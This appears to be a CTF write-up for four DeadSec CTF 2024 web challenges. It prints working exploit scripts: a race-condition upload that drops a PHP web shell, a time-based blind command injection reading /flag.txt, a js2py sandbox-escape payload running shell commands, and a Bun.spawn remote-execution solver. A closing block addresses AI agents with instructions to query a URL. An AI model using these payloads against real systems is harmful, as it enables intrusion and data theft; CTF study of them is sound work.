# Web Exploitation

<table><thead><tr><th width="347">Challenge</th><th>Link</th></tr></thead><tbody><tr><td>ezstart (100 pts)</td><td><a href="#ezstart-100-pts">Here</a></td></tr><tr><td>bing_revenge (100 pts)</td><td><a href="#bing_revenge-100-pts">Here</a></td></tr><tr><td>Retro-calculator (220 pts)</td><td><a href="#retro-calculator-220-pts">Here</a></td></tr><tr><td>Buntime (400 pts)</td><td><a href="#buntime-400-pts">Here</a></td></tr></tbody></table>

## ezstart (100 pts)

### Description

\-

### Solution

Given source code below

{% code lineNumbers="true" %}

```php
<?php

session_start();

function is_malware($file_path)
{
    $content = file_get_contents($file_path);
    
    if (strpos($content, '<?php') !== false) {
        return true; 
    }
    
    return false;
}

function is_image($path, $ext)
{
    // Define allowed extensions
    $allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];
    
    // Check if the extension is allowed
    if (!in_array(strtolower($ext), $allowed_extensions)) {
        return false;
    }
    
    // Check if the file is a valid image
    $image_info = getimagesize($path);
    if ($image_info === false) {
        return false;
    }
    
    return true;
}

if (isset($_FILES) && !empty($_FILES)) {

    $uploadpath = "tmp/";
    
    $ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
    $filename = basename($_FILES["files"]["name"], "." . $ext);

    $timestamp = time();
    $new_name = $filename . '_' . $timestamp . '.' . $ext;
    $upload_dir = $uploadpath . $new_name;

    if ($_FILES['files']['size'] <= 10485760) {
        move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
    } else {
        echo $error2 = "File size exceeds 10MB";
    }

    if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
        $_SESSION['context'] = "Upload successful";
    } else {
        $_SESSION['context'] = "File is not a valid image or is potentially malicious";
    }
    
    echo $upload_dir;
    unlink($upload_dir);
}

?>
```

{% endcode %}

From code above we can see that there is upload feature and we can upload anything to the server. The extension validation and is\_malware validation doesnt affect anything in the upload process because it is only change the value of session context. The problem is our file will be deleted directly once we've uploaded it. But in this case we can trigger race condition by sending many request for upload and access the php at the same time because we know the filename (timestamp known). The file that we will access will put another backdoor that will not be deleted by the upload.php, so it will act like a dropper. The backdoor dropped will be base code to access custom function and parameter. Below is the code i used to trigger race condition by utilizing threading

```python
import requests
from threading import Thread
import time

base_url = "https://b515a0c0722574e498521800.deadsec.quest/"

def brute():
    x = 1
    while True:
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time())}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        # time tolerance
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()-1)}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        # time tolerance
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()+1)}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        x += 1


def upload():
    while True:
        resp = requests.post(
            f"{base_url}/upload.php",
            files={"files": ("tmp.php", b'<?php file_put_contents("lol.php", "<?=\$_GET[x](\$_GET[y]);?>");')},
        )

Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()
```

<figure><img src="/files/J3fyIHINQqct1ZrZa7GX" alt=""><figcaption></figcaption></figure>

We can see that there is 200 OK response, lets take a look on /tmp/ directory.

<figure><img src="/files/4I282LxwMgv30O0xRSdL" alt=""><figcaption></figcaption></figure>

Now there is lol.php, lets call the system function using lol.php.

<figure><img src="/files/uRt90Q1YBi6rzWHJpxau" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4GbHJOB1qAVmk5VMOuVY" alt=""><figcaption></figcaption></figure>

Flag: DEAD{l0l\_i\_forgot\_rAce\_conD1tionnnnn}

## bing\_revenge (100 pts)

### Description

\-

### Solution

Given source code below

```python
#!/usr/bin/env python3
import os
from flask import Flask, request, render_template

app = Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'{host}'
        if not cmd:
             return render_template('ping_result.html', data='Hello')
        try:
            output = os.system(f'ping -c 4 {cmd}')
            return render_template('ping_result.html', data="DeadSecCTF2024")
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'error when executing command')
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Command timed out')

    return render_template('ping.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```

Our input will be passed to os.system function so we can do command injection on host parameter. Looking at dockerfile we know that the container is python:3.11-slim-buster and it use /bin/sh as the shell. Because we cannot see the output we can utilize time based blind command injection to leak the flag. In this case we use payload below

```bash
if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi
```

* The first curly brace is the column number for the  data that we want to leak
  * For example if flag.txt is DEAD, so cut -c 1 will be D
* The second curly brace is the value that we want to validate, for example is D
* if the first column value and validated value is same the sleep will be triggered

From my connection the sleep will be more than 7 is sleep 5 executed , so i use the different time is 7 to validate it. Below is my script for approach above

```python
import requests
import time
import string
import tqdm

burp0_url = "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag"
burp0_headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"macOS\"", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag", "Accept-Encoding": "gzip, deflate, br", "Priority": "u=0, i"}
payload = '127.0.0.1; if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi'
burp0_data = {"host": ""}
flag = "DEAD{f93e7140-0d74-4130-9114-783f2c"
list_char = "}-" + string.printable[:-6]

while "}" not in flag:
	for i in tqdm.tqdm(list_char):
		tmp_payload = payload.format(len(flag) + 1, i)
		burp0_data["host"] = tmp_payload
		start = time.time()
		resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
		end = time.time()
		if end-start > 7:
			print(end-start)
			flag += i
			break
	print(flag)
```

<figure><img src="/files/ulZPhSgJ1jUMvFSNo4EB" alt=""><figcaption></figcaption></figure>

Flag: DEAD{f93e7140-0d74-4130-9114-783f2cd337e3}

## Retro-calculator (220 pts)

### Description

This is my first calculator ever, and it might have a 0day!!!

### Solution

&#x20;There is no source code for this challenge. But we can see that it seems like a calculator application. Lets try with input 1+1

<figure><img src="/files/6HzXd1QvvAs8YL3wdoQj" alt=""><figcaption></figcaption></figure>

My first assumption is the code will be executed on eval like function, lets try to trigger error on it.

<figure><img src="/files/zV8Fvi7K9nyeoFPkyBG2" alt=""><figcaption></figcaption></figure>

From the error response we know that our input processed by javascript eval. Lets try to gather information from the server.

```javascript
({}).constructor.constructor('return Object.getOwnPropertyNames(this)')()
```

<figure><img src="/files/nt1132c4RQLgJMdicOyq" alt=""><figcaption></figcaption></figure>

There are some attributes that weird, including the format dict\_keys. Try to search some information from the response such as PyJsEvalResult

<figure><img src="/files/YEsEBBHS9yjW9H8CPWA5" alt=""><figcaption></figcaption></figure>

Looking at exploitation for js2py i found this reference

* <https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape>

Lets try the payload on the repository

```javascript
hacked = Object.getOwnPropertyNames({});bymarve = hacked.__getattribute__;n11 = bymarve(\"__getattribute__\");obj = n11(\"__class__\").__base__;getattr = obj.__getattribute__;let item=obj.__subclasses__()[351];item(\"ls -al /\", -1, null, -1, -1, -1, null, null, true).communicate()
```

<figure><img src="/files/GOPqPV78WPjEbUVwb5KK" alt=""><figcaption></figcaption></figure>

```javascript
hacked = Object.getOwnPropertyNames({});bymarve = hacked.__getattribute__;n11 = bymarve(\"__getattribute__\");obj = n11(\"__class__\").__base__;getattr = obj.__getattribute__;let item=obj.__subclasses__()[351];item(\"cat /flag.txt\", -1, null, -1, -1, -1, null, null, true).communicate()
```

<figure><img src="/files/DD0jEmpFZx81smOodfgn" alt=""><figcaption></figcaption></figure>

Flag: DEAD{Js\_2\_Py\_3sc4p3\_wr3ck3d\_my\_b0x}

## Buntime (400 pts)

### Description

I’ve created a super secure sinkless buntime, is it really secure?

### Solution

There is no source code given, the preview of the website looks like a interpreter for Bun. There are multiples WAF in the website, below are the WAF that i've found

* Input WAF
  * Limited by length (maximum 50)
* Output WAF
  * Cannot directly show output for most cases
* Specific Function WAF
  * Most of Sync function are prohibited

Currently eval on Bun cannot execute await, so we need to find another way to do RCE. During the competition we can trigger the RCE using Bun.spawn but we cannot read any file. Although we can bypass the output WAF using throw exception but we still cannot pass the RCE from spawn to read from through exception. The fastest way to get flag that we've found is using approach below

* Create shell script for program below
  * Read flag per character and write it to /tmp/
* Execute the shell script and remove the shell script
* Trigger directory listing and get the character shown in directory

Below is my solver for approach above

```python
import requests
import time
import tqdm

flag = "DEAD{"
code = """#!/bin/sh

touch /tmp/$(cat /flag.txt|cut -c {})"""
diff = 4
url = 'https://3bc8e4d81741584134abdb88.deadsec.quest/run'
fmt = 'Bun.spawn(["sh","-c","printf \'{}\'>>/tmp/a"])'

while "}" not in flag:    
    arr = []
    arr.append('Bun.spawn(["rm", "/tmp/a"])')
    arr.append('Bun.spawn(["touch", "/tmp/a"])')
    arr.append('Bun.spawn(["chmod", "+x", "/tmp/a"])')
    tmp_code = code.format(len(flag)+1)
    
    for i in range(0, len(tmp_code), diff):
        payload = tmp_code[i:i+diff].replace('\n', r'\n')
        payload = fmt.format(payload)
        arr.append(f'{payload}')

    arr.append('Bun.spawn(["/tmp/a"])')
    arr.append('Bun.spawn(["rm", "/tmp/a"])')

    for tmp in tqdm.tqdm(arr):
        success = False
        requests.post(url, json={"code": tmp})

    leaked = "[...(new Bun.Glob('*').scanSync('/tmp/'))]"
    r = requests.post(url, json={"code": leaked})
    flag += r.json()["result"][0]
    print(flag)

    rmv = f'Bun.spawn(["rm", "/tmp/{flag[-1]}"])'
    r = requests.post(url, json={"code": rmv})
```

<figure><img src="/files/Qxf4zL6FafgJshINA3fE" alt=""><figcaption></figcaption></figure>

```
Flag: DEAD{BunT1m3_Fun_T1m3_Y0u_C4n_4lw4y$Run_4$ync_1n$1d3_$ync}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kos0ng.gitbook.io/ctfs/write-up/2024/deadsec-ctf/web-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
